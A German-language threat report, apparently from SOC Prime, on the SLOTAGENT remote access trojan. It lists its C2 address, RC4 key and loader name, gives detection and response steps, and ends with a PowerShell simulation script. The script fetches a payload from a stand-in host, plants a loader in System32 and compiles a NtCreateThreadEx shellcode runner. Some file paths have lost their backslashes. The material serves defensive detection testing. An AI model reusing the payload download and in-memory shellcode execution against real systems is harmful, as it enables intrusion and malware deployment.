SOC Prime Bias: Mittel

29 Apr 2026 14:27 UTC

Neue Malware SLOTAGENT Unterstützt BOF-Ausführung Veröffentlicht

Author Photo
SOC Prime Team linkedin icon Folgen
Neue Malware SLOTAGENT Unterstützt BOF-Ausführung Veröffentlicht
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

IIJ identifizierte eine bisher unbekannte multifunktionale RAT namens SLOTAGENT in einem ZIP-Archiv, das in ein öffentliches Repository hochgeladen wurde. Die Malware unterstützt die Ausführung von Beacon Object File Payloads und enthält antiforensische Fähigkeiten wie Timestomping, um die Analyse zu erschweren. Sie kommuniziert über einen fest codierten TCP-Endpunkt durch ein benutzerdefiniertes Protokoll, das JSON-formatierte Daten austauscht. Der Loader stützt sich auf RC4-verschlüsselte Konfigurationsdaten und reflektierendes DLL-Loading, um die endgültige Nutzlast zu starten.

Untersuchung

Statische Analyse zeigte, dass das Loader-Executable, WindowsOobeAppHost.AOT.exe, Windows-API-Funktionen durch eine benutzerdefinierte Hash-Routine auf der Basis von DJB2 auflöst. Die verschlüsselte Konfigurationsdatei, db.config, wird mit RC4 unter Verwendung des Schlüssels easdbadshyfab entschlüsselt und dann als Shellcode mit einer XOR-kodierten DLL ausgeführt. Nach dem Laden verbindet sich die RAT mit 43.156.59.110:699 und verarbeitet JSON-basierte Befehle, die Funktionen wie Screenshot-Erfassung, Datei-Upload und -Download sowie BOF-Ausführung unterstützen.

Minderung

Verteidiger sollten die fest codierte Command-and-Control-IP-Adresse erkennen und nach den charakteristischen HTTP-ähnlichen Pfadstrings suchen, die mit dem Netzwerkdatenverkehr der Malware verbunden sind. Die im Bericht bereitgestellten YARA-Regeln sollten eingesetzt werden, um sowohl die Loader- als auch die RAT-Komponenten zu identifizieren. Sicherheitsteams sollten auch auf verdächtiges API-Hashing-Verhalten und reflektive DLL-Loading auf Endpunkten überwachen. Die Ausführung von unsignierten und untrusted EXE- oder DLL-Dateien sollte, wo immer möglich, eingeschränkt werden.

Antwort

Wenn Indikatoren, die mit SLOTAGENT verknüpft sind, erkannt werden, isolieren Sie den betroffenen Host sofort, beenden Sie den schädlichen Prozess und sammeln Sie Speicher für die forensische Untersuchung. Die Command-and-Control-IP-Adresse und die zugehörigen Ports sollten an der Netzwerkgrenze blockiert werden. Organisationen sollten dann einen vollständigen Sweep nach den bekannten Dateinamen und Hashes durchführen und die veröffentlichten YARA-Signaturen auf Endpunkt-Erkennungssysteme anwenden.

Angriffsablauf

Simulationseinführung

Voraussetzung: Der Telemetrie- und Basislinien-Vorflug-Check muss bestanden haben.

  • Angriffsnarrativ & Befehle:

    Der Gegner hat eine Kopie der SLOTAGENT Loader-Binary erhalten, sie umbenannt in WindowsOobeAppHost.AOT.exe um sich mit legitimen OOBE-Prozessen zu vermischen, und hat sie in C:WindowsSystem32platziert. Die Nutzlast wird in einem verschlüsselten Blob auf dem Server des Angreifers gespeichert. Mit PowerShell lädt der Angreifer den verschlüsselten Blob herunter, entschlüsselt ihn im Speicher und ruft die reflektive Routine des Loaders über NtCreateThreadExauf. Der Loader ruft intern NtCreateFile auf, um zusätzliche Ressourcen aus dem verschlüsselten Blob zu lesen, und verwendet dann reflektives Loading, um die bösartige DLL auszuführen, ohne den Datenträger zu berühren. Diese Aktivität erzeugt ein Sysmon ProcessCreate-Ereignis mit dem genauen Bild -Namen und einem CallTrace der die drei im Regelwerk definierten Zeichenfolgen enthält.

  • Regressionstestskript:

    # -------------------------------------------------
    # SLOTAGENT reflektive Lade-Simulation (Windows)
    # -------------------------------------------------
    # 1. Pfade definieren
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    $payloadUrl = "https://malicious.example.com/payload.bin"
    $tempPayload = "$env:TEMPpayload.bin"
    
    # 2. Sicherstellen, dass der Loader existiert (simulierte Kopie der echten Binärdatei)
    if (-not (Test-Path $loaderPath)) {
        Write-Host "Kopiere simulierten Loader nach $loaderPath"
        Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath
    }
    
    # 3. Verschlüsselte Nutzlast herunterladen (simuliert)
    Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload
    
    # 4. Nutzlast im Speicher entschlüsseln (Platzhalter – echte Entschlüsselung ausgelassen)
    $decryptedBytes = Get-Content $tempPayload -Encoding Byte
    
    # 5. Reflektives Laden über native API-Aufrufe einleiten
    #    Dies nutzt einen winzigen C#-Helfer, der on-the-fly kompiliert wird und NtCreateThreadEx aufruft
    $cSharp = @"
    using System;
    using System.Runtime.InteropServices;
    public class ReflectiveLoader {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern IntPtr NtCreateThreadEx(
            out IntPtr threadHandle,
            uint desiredAccess,
            IntPtr objectAttributes,
            IntPtr processHandle,
            IntPtr startAddress,
            IntPtr parameter,
            bool createSuspended,
            uint stackZeroBits,
            uint sizeOfStackCommit,
            uint sizeOfStackReserve,
            IntPtr bytesBuffer);
        public static void Run(byte[] shellcode) {
            IntPtr hThread;
            NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero,
                Process.GetCurrentProcess().Handle,
                Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0),
                IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
        }
    }
    "@
    
    Add-Type $cSharp -Language CSharp
    
    # 6. Temporäre Datei bereinigen
    Remove-Item $tempPayload -Force
  • Bereinigungskommandos:

    # Beendet jeglichen verbleibenden Loader-Prozess
    Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Entfernt simulierte Loader-Binärdatei
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    if (Test-Path $loaderPath) {
        Remove-Item $loaderPath -Force
    }
    
    # Entfernt jegliche verbleibenden temporären Dateien
    Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue